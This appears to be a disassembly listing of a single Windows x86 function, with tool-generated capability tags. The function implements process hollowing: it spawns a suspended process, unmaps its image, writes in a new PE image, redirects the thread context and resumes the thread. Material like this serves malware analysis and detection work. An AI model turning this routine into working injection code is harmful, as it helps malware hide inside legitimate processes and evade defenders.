Function at 0x401230
Capabilities:
Create process on windows
Create process suspended
Link many functions at runtime
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
mov eax, 0x5a4d
mov esi, ecx
cmp word [edi], ax
jne 0x40143a
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
jne 0x40143a
push 0x44
lea eax, [ebp - 0x50]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x64]
xorps xmm0, xmm0
movups xmmword [ebp - 0x64], xmm0
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40143a
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAllocEx
push str.kernel32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ReadProcessMemory
push str.kernel32.dll
mov dword [ebp - 0x68], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WriteProcessMemory
push str.kernel32.dll
mov dword [ebp - 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push 4
push 0
mov dword [ebp - 0x70], eax
call esi
mov esi, eax
push esi
mov dword [ebp - 0x74], esi
mov dword [esi], 0x10007
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40143a
push 0
push 4
lea eax, [ebp - 0x54]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x64]
call dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
lea ecx, [ebx + 0x34]
cmp eax, dword [ecx]
jne 0x401377
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x54]
push dword [ebp - 0x64]
call eax
lea ecx, [ebx + 0x34]
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ecx]
push dword [ebp - 0x64]
call dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x40143a
push 0
push dword [ebx + 0x54]
push edi
push eax
push dword [ebp - 0x64]
call dword [ebp - 0x70]
xor eax, eax
mov dword [ebp - 0x68], 0
cmp ax, word [ebx + 6]
jae 0x4013f0
xor esi, esi
mov ecx, dword [edi + 0x3c]
add ecx, esi
push 0
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [ebp - 0x6c]
push eax
push dword [ebp - 0x64]
call dword [ebp - 0x70]
mov ecx, dword [ebp - 0x68]
add esi, 0x28
movzx eax, word [ebx + 6]
inc ecx
mov dword [ebp - 0x68], ecx
cmp ecx, eax
jl 0x4013b2
mov esi, dword [ebp - 0x74]
push 0
push 4
lea eax, [ebx + 0x34]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x64]
call dword [ebp - 0x70]
mov eax, dword [ebx + 0x28]
add eax, dword [ebp - 0x6c]
push str.NtSetContextThread
push str.ntdll.dll
mov dword [esi + 0xb0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push dword [ebp - 0x60]
call eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040294e
mov esp, ebp
pop ebp
ret